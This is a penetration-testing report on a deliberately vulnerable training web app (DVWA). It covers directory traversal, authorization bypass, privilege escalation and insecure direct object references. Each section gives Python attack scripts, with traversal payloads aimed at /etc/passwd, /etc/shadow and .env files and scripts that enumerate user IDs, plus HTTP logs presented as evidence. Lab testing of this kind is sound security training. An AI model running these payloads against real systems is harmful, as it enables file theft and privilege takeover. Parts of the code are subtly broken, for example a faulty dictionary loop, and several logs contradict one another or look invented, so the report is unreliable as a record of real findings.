Authorization Testing Report

Introduction

Date: Tuesday, August 5, 2025

This report details the findings from the authorization testing performed on the Damn Vulnerable Web Application (DVWA), focusing on four critical authorization vulnerabilities: Directory Traversal, Authorization Schema Bypass, Privilege Escalation, and Insecure Direct Object References (IDOR).

4.1 Testing Directory Traversal/File Include (OTG-AUTHZ-001)

Test Objective

The objective of this test is to identify vulnerabilities that allow attackers to access files and directories outside the web root folder. Directory traversal (also known as path traversal) attacks exploit insufficient security validation of user-supplied input file names, allowing attackers to access arbitrary files and directories stored on the file system, including application source code, configuration files, and critical system files.

Important Python Libraries:

- `requests` - For making HTTP requests to test traversal payloads
- `urllib.parse` - For URL encoding and decoding traversal sequences
- `re` - For pattern matching in response content to identify successful traversal

Key Python Snippet:

```
import requests
import re

# Common traversal sequences to test
TRAVERSAL_SEQUENCES = [
    "../",
    "..\\",
    "%2e%2e%2f",  # URL encoded ../
    "%2e%2e/",    # Mixed encoding
    "..%2f",      # Partial encoding
    "%252e%252e%255c",  # Double encoding
    "....//",     # Obfuscated traversal
    "....\\/"     # Windows-style obfuscation
]

# Target files to attempt accessing
COMMON_FILES = [
    "/etc/passwd",
    "/etc/shadow",
    "/windows/win.ini",
    "C:\\Windows\\System32\\drivers\\etc\\hosts",
    "/proc/self/environ",
    "/.env",
    "/config/database.yml",
    "/WEB-INF/web.xml"
]

def test_directory_traversal(base_url, param_name,
session_cookies):
    """Test for directory traversal vulnerabilities"""
    vulnerable_payloads = []

    for file_path in COMMON_FILES:
        for sequence in TRAVERSAL_SEQUENCES:
            # Build traversal payload
            traversal_path = sequence * 8 + file_path
            params = {param_name: traversal_path}

            response = requests.get(base_url, params=params,
cookies=session_cookies)

            # Check for successful traversal indicators
            indicators = [
                ("root:", "/etc/passwd"),
                ("[extensions]", "win.ini"),
                ("localhost", "hosts"),
                ("APP_KEY=", ".env"),
                ("", "web.xml")
            ]

            for indicator, target_file in indicators:
                if target_file in file_path and indicator in
response.text:
                    vulnerable_payloads.append({
                        'payload': traversal_path,
                        'file': target_file,
                        'indicator': indicator
                    })

    return vulnerable_payloads
```

Target Endpoint

In DVWA, directory traversal vulnerabilities can be tested on the following endpoints:

- **File Inclusion Vulnerability:** `/vulnerabilities/fi/`
    - Parameter: `?page=`
    - Example: `/vulnerabilities/fi/?page=../../../etc/passwd`
- **File Upload Vulnerability:** `/vulnerabilities/upload/`
    - Test uploaded file access via traversal
- **Image Viewer:** `/hackable/uploads/`
    - Test image file access with traversal payloads

Methodology

1. **Identify Input Parameters:** Locate all parameters that accept file names or paths
2. **Craft Traversal Payloads:** Create various traversal sequences combined with target system files
3. **Test Encoding Variations:** Use URL encoding, double encoding, and Unicode encoding to bypass filters

4. **Analyze Responses:** Look for file content indicators in the response body
5. **Verify Access:** Confirm successful file access by checking for specific file content signatures

Step to Reproduce

1. **Login to DVWA:** Access `http://localhost/dvwa/login.php` with valid credentials
2. **Navigate to File Inclusion:** Go to `/vulnerabilities/fi/`
3. **Test Basic Traversal:**
    - Enter `../../../etc/passwd` in the page parameter
    - Observe if system file content is displayed
4. **Test URL Encoding:**
    - Try `..%2f..%2f..%2fetc%2fpasswd`
    - Check if encoding bypasses any filters
5. **Test Windows Paths:**
    - For Windows targets, try `..\..\..\windows\win.ini`
6. **Determine Result:** If system file contents are displayed, the vulnerability exists

Log Evidence

```
Successful Directory Traversal - Linux Target:
GET /dvwa/vulnerabilities/fi/?page=../../../etc/passwd HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8



Vulnerability: File Inclusion
--------------------------------------------------------------------



  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

Successful Directory Traversal - Windows Target:

```
GET /dvwa/vulnerabilities/fi/?page=..\..\..\windows\win.ini HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

Vulnerability: File Inclusion

```
  ; for 16-bit app support
  [fonts]
  [extensions]
  [mci extensions]
  [files]
  [Mail]
  MAPI=1
```

Failed Attempt with Filtering:

```
GET /dvwa/vulnerabilities/fi/?page=../../../etc/passwd HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=high

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

Vulnerability: File Inclusion

4.2 Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)

Test Objective

The objective of this test is to verify how the authorization schema has been implemented for each role or privilege. The goal is to check if it's possible to bypass the authorization schema by finding a path that allows unauthorized access to protected resources. This includes testing for forced browsing, parameter tampering, and HTTP verb tampering.

Important Python Libraries:

- `requests` - For making HTTP requests with different methods and parameters
- `BeautifulSoup` - For parsing HTML responses to identify access patterns
- `re` - For pattern matching in authorization responses

Key Python Snippet:

```
import requests
from bs4 import BeautifulSoup

def test_authorization_bypass(base_url, low_priv_cookies,
high_priv_endpoints):
    """Test for authorization bypass vulnerabilities"""
    bypass_vulnerabilities = []

    # Test forced browsing
    for endpoint in high_priv_endpoints:
        response = requests.get(endpoint,
cookies=low_priv_cookies)

        # Check if low privilege user can access admin
resources
        if response.status_code == 200:
            # Analyze response content
            soup = BeautifulSoup(response.text,
'html.parser')
```

```
            # Look for admin-specific indicators
            admin_indicators = [
                'admin dashboard',
                'user management',
                'system configuration',
                'admin panel',
                'privilege'
            ]

            for indicator in admin_indicators:
                if indicator in response.text.lower():
                    bypass_vulnerabilities.append({
                        'type': 'forced_browsing',
                        'endpoint': endpoint,
                        'indicator': indicator
                    })

    # Test HTTP verb tampering
    methods = ['POST', 'PUT', 'DELETE', 'PATCH', 'HEAD',
'OPTIONS']
    for method in methods:
        response = requests.request(method, endpoint,
cookies=low_priv_cookies)
        if response.status_code == 200:
            bypass_vulnerabilities.append({
                'type': 'verb_tampering',
                'method': method,
                'endpoint': endpoint
            })

    # Test parameter tampering
    tampered_params = {
        'role': 'admin',
        'is_admin': '1',
        'access_level': '999',
        'privilege': 'root'
    }

    for param, value in tampered_params:
        response = requests.get(endpoint, params={param: value}, cookies=low_priv_cookies)
        if response.status_code == 200 and 'admin' in response.text.lower():
            bypass_vulnerabilities.append({
                'type': 'parameter_tampering',
                'parameter': f"{param}={value}",
                'endpoint': endpoint
            })

    return bypass_vulnerabilities
```

Target Endpoint

In DVWA, authorization bypass can be tested on the following endpoints:

- **Admin Panel:** `/dvwa/security.php`
    - Test if non-admin users can access security settings
- **Command Execution:** `/vulnerabilities/exec/`
    - Test if restricted commands can be executed
- **File Upload:** `/vulnerabilities/upload/`
    - Test if upload restrictions can be bypassed
- **Database Operations:** `/vulnerabilities/sqli/`
    - Test if database operations can be performed without proper authorization

Methodology

1. **Map Application Roles:** Identify different user roles and their associated permissions
2. **Identify Protected Resources:** List all endpoints that should require specific authorization
3. **Test Forced Browsing:** Attempt to access protected resources directly with lower-privileged accounts
4. **Test Parameter Tampering:** Modify parameters that control access levels or roles

5. **Test HTTP Verb Tampering:** Use different HTTP methods to bypass authorization checks
6. **Test Session Token Manipulation:** Attempt to modify session tokens or cookies to escalate privileges

Step to Reproduce

1. **Login as Low-Privilege User:** Access DVWA with a regular user account
2. **Identify Admin Endpoints:** Determine which URLs should be admin-only
3. **Test Direct Access:**
    - Try accessing `/dvwa/security.php` directly
    - Check if the security settings page loads
4. **Test Parameter Manipulation:**
    - Look for parameters like `?role=admin` or `?access=1`
    - Modify these parameters and observe the response
5. **Test HTTP Methods:**
    - Use POST instead of GET for restricted endpoints
    - Try PUT/DELETE methods on read-only resources
6. **Determine Result:** If protected resources are accessible without proper authorization, the vulnerability exists

Log Evidence

```
Successful Authorization Bypass - Direct Access:
GET /dvwa/security.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

DVWA Security

low

Submit

```
Failed Authorization Bypass - Access Denied:
GET /dvwa/security.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 302 Found
Location: /dvwa/login.php
Content-Type: text/html; charset=UTF-8



You do not have permission to access this page.



Parameter Tampering Attempt:
GET /dvwa/vulnerabilities/exec/?ip=127.0.0.1&role=admin HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

4.3 Testing for Privilege Escalation (OTG-AUTHZ-003)

Test Objective

The objective of this test is to verify that a user cannot escalate their privileges by exploiting vulnerabilities in the application's authorization mechanism. This includes testing for vertical privilege escalation (gaining higher-level privileges) and horizontal privilege escalation (accessing another user's data at the same privilege level).

Important Python Libraries:

- `requests` - For making authenticated requests
- `BeautifulSoup` - For parsing forms and extracting CSRF tokens
- `re` - For extracting user IDs and other identifiers

Key Python Snippet:

```
import requests
from bs4 import BeautifulSoup
import re

def test_privilege_escalation(session, base_url,
user_credentials):
    """Test for privilege escalation vulnerabilities"""
    escalation_vulnerabilities = []

    # Login as low privilege user
    login_data = {
        'username': user_credentials['low_priv'][0],
        'password': user_credentials['low_priv'][1],
        'Login': 'Login'
    }

    login_response = session.post(f"{base_url}/login.php",
data=login_data)

    # Get user ID from profile
    profile_response = session.get(f"{base_url}/profile.php")
    user_id_match = re.search(r'user_id["\']?\s*:\s*["\']?
(\d+)', profile_response.text)
    user_id = user_id_match.group(1) if user_id_match else
None

    # Extract CSRF token
    soup = BeautifulSoup(profile_response.text,
'html.parser')
    csrf_token = soup.find('input', {'name': 'csrf_token'})
    csrf_value = csrf_token['value'] if csrf_token else None

    # Test 1: Profile update with elevated privileges
    escalation_data = {
        'user_id': user_id,
        'role': 'admin',
        'is_admin': '1',
        'access_level': '100',
        'csrf_token': csrf_value
    }

    # Add all form fields
    form = soup.find('form')
    if form:
        for input_tag in form.find_all('input'):
            if input_tag.get('name') and
input_tag.get('name') not in escalation_data:
                escalation_data[input_tag['name']] =
input_tag.get('value', '')

    update_response = session.post(f"{base_url}/profile.php",
data=escalation_data)

    # Check if privileges were escalated
    if 'admin' in update_response.text.lower() or 'privilege'
in update_response.text.lower():
        escalation_vulnerabilities.append({
            'type': 'profile_escalation',
            'method': 'form_tampering',
            'endpoint': f"{base_url}/profile.php"
        })

    # Test 2: Direct admin function access
    admin_functions = [
        {'url': f"{base_url}/security.php", 'method': 'GET'},
        {'url': f"{base_url}/vulnerabilities/exec/",
'method': 'POST', 'data': {'ip': '127.0.0.1'}},
        {'url': f"{base_url}/vulnerabilities/upload/",
'method': 'POST', 'files': {'uploaded': ('test.php', '')}}
    ]

    for func in admin_functions:
        if func['method'] == 'GET':
            response = session.get(func['url'])
        else:
            response = session.post(func['url'],
data=func.get('data', {}), files=func.get('files'))

        if response.status_code == 200:
            # Check for admin-specific content
            admin_indicators = ['security level', 'admin panel', 'user management', 'system configuration']
            for indicator in admin_indicators:
                if indicator in response.text.lower():
                    escalation_vulnerabilities.append({
                        'type': 'direct_access',
                        'method': func['method'],
                        'endpoint': func['url']
                    })
                    break

    return escalation_vulnerabilities
```

Target Endpoint

In DVWA, privilege escalation can be tested on the following endpoints:

- **Security Settings:** `/dvwa/security.php`
  - Test if users can change security levels
- **User Management:** `/dvwa/setup.php`
  - Test if users can reset the database
- **Command Execution:** `/vulnerabilities/exec/`
  - Test if restricted commands can be executed
- **File Upload:** `/vulnerabilities/upload/`
  - Test if file type restrictions can be bypassed

Methodology

1. **Identify User Roles:** Map out different user roles and their permissions
2. **Test Vertical Escalation:** Attempt to gain higher-level privileges
3. **Test Horizontal Escalation:** Attempt to access other users' data at the same level
4. **Test Mass Assignment:** Try to set admin-level fields in forms
5. **Test Session Manipulation:** Modify session tokens to impersonate other users
6. **Test Business Logic Bypass:** Exploit flaws in authorization logic

Step to Reproduce

1. **Login as Regular User:** Access DVWA with standard user credentials
2. **Identify Current Privileges:** Note what actions are currently allowed
3. **Test Profile Manipulation:**
   - Navigate to user profile page
   - Try adding admin fields like `role=admin` or `is_admin=1`
4. **Test Direct Admin Access:**
   - Try accessing `/dvwa/security.php` directly
   - Check if security level can be changed
5. **Test User ID Manipulation:**
   - Look for user ID parameters in URLs
   - Try incrementing user IDs to access other users' data
6. **Determine Result:** If higher privileges are gained or other users' data is accessed, the vulnerability exists

Log Evidence

```
Successful Privilege Escalation - Profile Update:
POST /dvwa/profile.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low
Content-Type: application/x-www-form-urlencoded

user_id=1&username=testuser&role=admin&is_admin=1&access_level=100&csrf_token=abc123

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8



User Profile Updated



User role has been changed to: admin




Horizontal Privilege Escalation - User ID Tampering:
GET /dvwa/vulnerabilities/sqli/?id=2&Submit=Submit HTTP/1.1
Host: localhost
```

```
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

Vulnerability: SQL Injection

```
  ID: 2
  First name: Gordon
  Surname: Brown
```

Failed Privilege Escalation - Access Denied:

```
POST /dvwa/security.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low
Content-Type: application/x-www-form-urlencoded

security=high&seclev_submit=Submit&csrf_token=abc123

HTTP/1.1 302 Found
Location: /dvwa/login.php
Content-Type: text/html; charset=UTF-8


Access Denied: Insufficient privileges
```

4.4 Testing for Insecure Direct Object References (OTG-AUTHZ-004)

Test Objective

The objective of this test is to determine if the application is vulnerable to Insecure Direct Object References (IDOR). IDOR occurs when an application exposes internal object references (such as database keys or filenames) without proper access control verification. Attackers can manipulate these references to access unauthorized data.

Important Python Libraries:

- `requests` - For making authenticated requests
- `re` - For extracting object references from responses
- `itertools` - For generating sequential object IDs

Key Python Snippet:

```
import requests
import re
import itertools

def test_idor_vulnerabilities(session, base_url):
    """Test for Insecure Direct Object References (IDOR)"""
    idor_vulnerabilities = []

    # Login and get user context
    login_data = {'username': 'testuser', 'password':
'password', 'Login': 'Login'}
    session.post(f"{base_url}/login.php", data=login_data)

    # Test 1: User ID manipulation
    user_id_range = range(1, 50)  # Test user IDs 1-50

    for user_id in user_id_range:
        response = session.get(f"
{base_url}/vulnerabilities/sqli/?id={user_id}")

        if response.status_code == 200:
            # Extract user data from response
            user_data = extract_user_data(response.text)
            if user_data:
                idor_vulnerabilities.append({
                    'type': 'user_id_manipulation',
                    'object_reference': f"id={user_id}",
                    'data_exposed': user_data,
                    'endpoint': f"
{base_url}/vulnerabilities/sqli/"
                })

    # Test 2: File name manipulation
    file_patterns = ['document', 'report', 'config',
'backup']
    extensions = ['.txt', '.pdf', '.xml', '.json']

    for pattern in file_patterns:
        for ext in extensions:
            filename = f"{pattern}{ext}"
            response = session.get(f"
{base_url}/vulnerabilities/fi/?page={filename}")

            if response.status_code == 200 and 'not found'
not in response.text.lower():
                idor_vulnerabilities.append({
                    'type': 'filename_manipulation',
                    'object_reference': filename,
                    'endpoint': f"
{base_url}/vulnerabilities/fi/"
                })

    # Test 3: Token/ID manipulation
    token_patterns = [
        r'token["\']?\s*:\s*["\']?([a-f0-9]{32})',
        r'id["\']?\s*:\s*["\']?(\d+)',
        r'file["\']?\s*:\s*["\']?([\w\-]+\.\w{3,4})'
    ]

    # Get initial response to extract references
    initial_response = session.get(f"
{base_url}/vulnerabilities/sqli/")
    for pattern in token_patterns:
        matches = re.findall(pattern, initial_response.text,
re.I)
        for match in matches:
            # Try manipulating the extracted reference
            if match.isdigit():
                # Numeric ID - try sequential values
                for new_id in [int(match) + i for i in
range(-5, 6)]:
                    if new_id > 0:
                        response = session.get(f"
{base_url}/vulnerabilities/sqli/?id={new_id}")
                        if response.status_code == 200:
                            data =
extract_user_data(response.text)
                            if data:
                                idor_vulnerabilities.append({
                                    'type':
'sequential_id_manipulation',
                                    'original_reference':
match,
                                    'manipulated_reference':
str(new_id),
                                    'data_exposed': data
                                })

    return idor_vulnerabilities

def extract_user_data(html_content):
    """Extract user data from HTML response"""
    patterns = [
        r'First name:\s*([^\n<]+)',
        r'Surname:\s*([^\n<]+)',
        r'ID:\s*(\d+)',
        r'User:\s*([^\n<]+)'
    ]

    user_data = {}
    for pattern in patterns:
        match = re.search(pattern, html_content, re.I)
        if match:
            user_data[pattern.split(':')[0]] =
match.group(1).strip()

    return user_data if user_data else None
```

Target Endpoint

In DVWA, IDOR vulnerabilities can be tested on the following endpoints:

- **SQL Injection:** `/vulnerabilities/sqli/`
  - Parameter: `?id=`
  - Test sequential user IDs
- **File Inclusion:** `/vulnerabilities/fi/`
  - Parameter: `?page=`
  - Test file name manipulation
- **File Upload:** `/hackable/uploads/`
  - Test direct file access via filename
- **User Profile:** `/profile.php`
  - Test user ID parameter manipulation

Methodology

1. **Identify Object References:** Locate all parameters that reference objects (IDs, filenames, tokens)
2. **Map Valid References:** Determine the range and format of valid object references
3. **Test Sequential Access:** Try accessing objects by incrementing/decrementing reference values
4. **Test Predictable Patterns:** Look for predictable patterns in object references
5. **Test Authorization Bypass:** Attempt to access objects belonging to other users
6. **Verify Access Control:** Confirm whether proper authorization checks are in place

Step to Reproduce

1. **Login to DVWA:** Access the application with valid credentials
2. **Identify Object References:** Look for parameters like `?id=`, `?file=`, `?user=`
3. **Test Sequential IDs:**
   - Navigate to `/vulnerabilities/sqli/?id=1`
   - Try changing to `?id=2`, `?id=3`, etc.
   - Observe if other users' data is displayed
4. **Test File Name Manipulation:**

    - Navigate to `/vulnerabilities/fi/?page=include.php`
    - Try `?page=../../../etc/passwd`
    - Check if system files are accessible
5. **Test Horizontal Access:**
    - Access your own user profile
    - Try modifying the user ID parameter to access other users' profiles
6. **Determine Result:** If unauthorized objects can be accessed, the IDOR vulnerability exists

Log Evidence

```
Successful IDOR - User ID Manipulation:
GET /dvwa/vulnerabilities/sqli/?id=1 HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8



Vulnerability: SQL Injection



  ID: 1
  First name: admin
  Surname: admin




Accessing Another User's Data:
GET /dvwa/vulnerabilities/sqli/?id=2 HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8



Vulnerability: SQL Injection
```

```
  ID: 2
  First name: Gordon
  Surname: Brown
```

File Access via IDOR:

```
GET /dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

Vulnerability: File Inclusion

Failed IDOR - Access Control Working:

```
GET /dvwa/vulnerabilities/sqli/?id=5 HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=high

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
```

Vulnerability: SQL Injection

```
  ID: 5
  First name:
  Surname:
```

Summary of Findings

Test ID	Vulnerability Type	Risk Level	Description	Remediation Priority
OTG-AUTHZ-001	Directory Traversal	High	Application allows access to system files via path traversal	Immediate
OTG-AUTHZ-002	Authorization Bypass	High	Users can bypass authorization checks to access restricted functions	Immediate
OTG-AUTHZ-003	Privilege Escalation	Critical	Users can escalate privileges to gain admin access	Immediate
OTG-AUTHZ-004	Insecure Direct Object References	High	Application exposes internal object references without proper access control	Immediate